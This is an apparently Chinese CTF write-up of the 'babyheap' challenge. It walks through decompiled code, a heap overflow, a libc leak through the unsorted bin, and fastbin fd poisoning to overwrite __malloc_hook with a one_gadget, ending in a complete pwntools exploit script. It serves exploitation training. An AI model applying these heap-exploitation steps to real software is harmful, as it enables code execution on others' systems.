babyheap_fastbin_attack

Posted 2020-11-23 playmak3r

babyheap_fastbin_attack

首先检查程序保护

保护全开。是一个选单系统

分析程序

void new()
{
  int index; // [rsp+0h] [rbp-10h]
  signed int size; // [rsp+4h] [rbp-Ch]
  void *ptr; // [rsp+8h] [rbp-8h]

  for ( index = 0; index <= 63; ++index )
  {
    if ( !*((_DWORD *)&flag + 4 * index) )
    {
      size = read_0();
      if ( size <= 0 || size > 1024 )
        exit(1);
      ptr = malloc(size);
      if ( !ptr )
        exit(1);
      *((_DWORD *)&flag + 4 * index) = 1;
      *((_DWORD *)&::size + 4 * index) = size;
      ::ptr[2 * index] = ptr;
      edit_0(index, size);
      return;
    }
  }
}

创建一个堆，将堆的信息（大小，是否使用，指针）存放在bss段中，并且将内容写入堆中

__int64 edit()
{
  signed int index; // [rsp+8h] [rbp-8h]
  int size; // [rsp+Ch] [rbp-4h]

  index = read_0();
  if ( index < 0 || index > 63 )
    exit(1);
  if ( !*((_DWORD *)&flag + 4 * index) )
    exit(1);
  size = read_0();
  if ( size <= 0 )
    exit(1);
  return edit_0(index, size);
}

修改长度为我们所控制，可以实现堆溢出。

ssize_t print()
{
  int index; // [rsp+Ch] [rbp-4h]

  index = read_0();
  if ( index < 0 || index > 63 )
    exit(1);
  if ( !*((_DWORD *)&flag + 4 * index) )
    exit(1);
  return write(1, (const void *)ptr[2 * index], *((signed int *)&size + 4 * index));
}

打印堆的内容，长度由一开始定义时决定

_QWORD *delete()
{
  _QWORD *result; // rax
  int index; // [rsp+Ch] [rbp-4h]

  index = read_0();
  if ( index < 0 || index > 63 )
    exit(1);
  if ( !*((_DWORD *)&flag + 4 * index) )
    exit(1);
  free((void *)ptr[2 * index]);
  *((_DWORD *)&flag + 4 * index) = 0;
  *((_DWORD *)&size + 4 * index) = 0;
  result = ptr;
  ptr[2 * index] = 0LL;
  return result;
}

删除堆，将标志位和size全部清0但是指针没有清0，可以达到再次利用的效果

有两处可以利用点。堆溢出和指针未清0。

保护全开，我们可以再malloc hook地址处写入one_gadget

不过首先我们要先泄露libc的基址，可以利用main_arena

当fastbin为空时,unsortedbin的fd和bk都指向自身main_arena。

先分配4个0x80堆块(最后一个堆块防止unlink)，首先第一个堆块实现堆溢出，修改第二个堆块大小（第二个堆块和第三个堆块合并大小0x121），之后删除第二个堆块，再重新分配一个大小和第二个堆块一样大的堆（0x110）分配到了第二个堆块的位置，之后再删除第三个堆块变为（unsorted_bin）。通过打印第二个堆，泄露第三个堆的内容即main_arena附近的地址，但是其还要减去0x88,如下图所示

具体步骤如下

new(0x80,'a'*0x80)
new(0x80,'a'*0x80)
new(0x80,'a'*0x80)
new(0x80,'a'*0x80)#prevent unlink
payload='a'*0x80+p64(0)+p64(0x121)#fake chunk size
edit(0,len(payload),payload)
dele(1)
payload='a'*0x80+p64(0)+p64(0x91)+'b'*0x80
new(len(payload),payload)
dele(2)#unsorted bin
show(1)#show the main_arnea
p.recvuntil(p64(0x91))
main_arena=u64(p.recv(6)+'x00'+'x00')-0x88
print hex(main_arena)
p.recvuntil('>> ')

拿到main_arena的地址之后，我们要在libc中找到main_arena的地址。将题目给我们的libc放入IDA64位中

寻找malloc_trim函数找到如下数组变为main_arena的地址

减去便可以得到libc的基址。

之后我们要再malloc hook地址写入one_gadget，利用最简单的fastbin_attack，伪造FD即可

fastbin_attack原理

在这之前先研究一下fastbin原理。当大小小于0x80的chunk被free时便会生成fastbin。

采用单链表形式处理，其中fd指向前一个大小相同的fastbin。再分配同样大小的chunk时fastbin会向从后向前取，而取的依据就是fd指针。示例代码入下：

当free全部结束后

malloc一个堆后链表头变为最后一个fastbin的fd，也就是前一个bin的地址，依次类推

运行这个例子发现的确是从后向前取的

因此我们可以推断是根据fd来决定malloc的地址，如果我们恶意的修改了fd指针那么就可以实现任意写。

首先我们分配两个fast chunk，第一个用来填unsortedbin，free第二个chunk，使其变为fastbin,栈溢出修改第二个chunk的fd指针指向malloc_hook附近的地址然后对其进行写入one_gadget。

我们查看一下malloc_hook附近的位置，开辟的位置加8要能够伪造大小相同的chunk，且至少要在0x7ffffdd1b00以上开辟，而在0x7ffff7dd1afd处开辟正好能够伪造chunk的大小位0x70。于是将伪造的fd指向此处

from pwn import *
#context.log_level='debug'
p=process('./babyheap')
#p=remote('152.136.18.34','9999')
def new(size,content):
    p.recvuntil('>> ')
    p.sendline('1')
    p.sendline(str(size))
    p.send(content)
def edit(index,size,content):
    p.recvuntil('>> ')
    p.sendline('2')
    p.sendline(str(index))
    p.sendline(str(size))
    p.send(content)
def show(index):
    p.recvuntil('>> ')
    p.sendline('3')
    p.sendline(str(index))
def dele(index):
    p.recvuntil('>> ')
    p.sendline('4')
    p.sendline(str(index))

new(0x80,'a'*0x80)#0
new(0x80,'a'*0x80)#1
new(0x80,'a'*0x80)#2
new(0x80,'a'*0x80)#prevent unlink 3
payload='a'*0x80+p64(0)+p64(0x121)#fake chunk size
edit(0,len(payload),payload)
dele(1)
payload='a'*0x80+p64(0)+p64(0x91)+'b'*0x80
new(len(payload),payload)#1
dele(2)#unsorted bin
show(1)#show the main_arnea
p.recvuntil(p64(0x91))
main_arena=u64(p.recv(6)+'x00'+'x00')-88
print hex(main_arena)
libc_base=main_arena-0x3c4b20
print hex(libc_base)
malloc_hook=main_arena-0x10

fake_chunk=malloc_hook-0x10-0x3
one_gadget=libc_base+0x4526a
new(0x80,'b'*0x80)#2
new(0x60,'c'*0x60)#4
dele(4)
payload='a'*0x80+p64(0)+p64(0x71)+p64(fake_chunk)
edit(3,len(payload),payload)
print hex(fake_chunk)
payload=0x3*'a'+p64(one_gadget).ljust(0x60,'0')
new(0x60,'e'*0x60)
new(0x60,payload)
new(0x90,'a'*0x90)
p.interactive()